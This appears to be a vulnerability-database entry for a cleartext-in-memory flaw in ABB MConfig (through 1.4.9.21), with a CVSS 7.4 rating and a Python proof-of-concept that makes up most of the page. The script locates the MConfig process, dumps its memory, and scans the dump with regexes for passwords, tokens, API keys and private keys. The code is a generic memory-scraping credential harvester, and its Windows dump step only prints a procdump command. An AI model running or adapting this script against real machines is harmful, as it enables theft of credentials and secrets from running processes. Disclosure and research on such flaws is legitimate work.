Cleartext Storage of Sensitive Information in Memory vulnerability in ABB MConfig.This issue affects MConfig: through 1.4.9.21.
CVSS Details
CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:H
Configurations (Affected Products)
No configuration data available.
ABB MConfig <= 1.4.9.21
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9970 - ABB MConfig Memory Sensitive Information Disclosure PoC
# This PoC demonstrates how to extract sensitive information from ABB MConfig process memory
# Note: This is for educational and authorized testing purposes only
import os
import sys
import struct
import re
import ctypes
from ctypes import wintypes
# Target process name
TARGET_PROCESS = "MConfig.exe"
# Sensitive patterns to search for in memory
SENSITIVE_PATTERNS = [
rb"password\s*[=:]\s*\S+",
rb"passwd\s*[=:]\s*\S+",
rb"pwd\s*[=:]\s*\S+",
rb"secret\s*[=:]\s*\S+",
rb"api[_-]?key\s*[=:]\s*\S+",
rb"token\s*[=:]\s*\S+",
rb"credential\s*[=:]\s*\S+",
rb"private[_-]?key",
rb"BEGIN.*PRIVATE.*KEY",
]
def find_target_pid(process_name):
"""Find PID of target process by name"""
import subprocess
try:
output = subprocess.check_output(
["tasklist", "/FI", f"IMAGENAME eq {process_name}"],
text=True
)
for line in output.splitlines():
if process_name.lower() in line.lower():
parts = line.split()
if len(parts) >= 2:
return int(parts[1])
except Exception as e:
print(f"[ERROR] Failed to enumerate processes: {e}")
return None
def dump_process_memory_windows(pid):
"""Dump process memory on Windows using MiniDumpWriteDump"""
try:
import subprocess
# Use built-in procdump or manual approach
output_path = f"MConfig_{pid}_dump.bin"
# Try using Windows built-in tools
subprocess.run([
"powershell", "-Command",
f"Get-Process -Id {pid} | Select-Object -ExpandProperty MainModule"
])
print(f"[INFO] Process found. Use procdump or debugger to dump memory to: {output_path}")
print(f"[INFO] Command: procdump -ma {pid} {output_path}")
return output_path
except Exception as e:
print(f"[ERROR] Memory dump failed: {e}")
return None
def dump_process_memory_linux(pid):
"""Dump process memory on Linux using /proc/pid/mem"""
try:
output_path = f"MConfig_{pid}_dump.bin"
maps_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(output_path, "wb") as out:
with open(maps_path, "r") as maps:
for line in maps:
parts = line.split()
if len(parts) >= 1:
addr_range = parts[0]
if "-" in addr_range:
start, end = addr_range.split("-")
start = int(start, 16)
end = int(end, 16)
with open(mem_path, "rb") as mem:
mem.seek(start)
data = mem.read(end - start)
out.write(data)
return output_path
except Exception as e:
print(f"[ERROR] Memory dump failed: {e}")
return None
def search_sensitive_data(dump_path):
"""Search for sensitive patterns in memory dump"""
findings = []
try:
with open(dump_path, "rb") as f:
data = f.read()
for pattern in SENSITIVE_PATTERNS:
matches = re.finditer(pattern, data, re.IGNORECASE)
for match in matches:
offset = match.start()
context = data[max(0, offset-20):offset+100]
# Filter printable characters
printable = bytes(b if 32 <= b < 127 else 46 for b in context)
findings.append({
"offset": hex(offset),
"pattern": pattern.decode('utf-8', errors='ignore'),
"context": printable.decode('utf-8', errors='ignore')
})
return findings
except Exception as e:
print(f"[ERROR] Pattern search failed: {e}")
return []
def main():
print(f"[*] CVE-2025-9970 PoC - ABB MConfig Memory Disclosure")
print(f"[*] Searching for target process: {TARGET_PROCESS}")
pid = find_target_pid(TARGET_PROCESS)
if pid is None:
print(f"[!] Target process not found. Please ensure MConfig is running.")
print(f"[!] Waiting for MConfig to start...")
sys.exit(1)
print(f"[+] Found target process PID: {pid}")
if sys.platform == "win32":
dump_path = dump_process_memory_windows(pid)
else:
dump_path = dump_process_memory_linux(pid)
if dump_path and os.path.exists(dump_path):
print(f"[+] Memory dump saved to: {dump_path}")
print(f"[*] Searching for sensitive information...")
findings = search_sensitive_data(dump_path)
if findings:
print(f"[!] Found {len(findings)} potential sensitive items:")
for i, item in enumerate(findings[:20]):
print(f"\n--- Finding {i+1} ---")
print(f"Offset: {item['offset']}")
print(f"Pattern: {item['pattern']}")
print(f"Context: {item['context']}")
else:
print(f"[-] No sensitive patterns found in memory dump.")
else:
print(f"[!] Memory dump failed. Manual extraction required.")
if __name__ == "__main__":
main()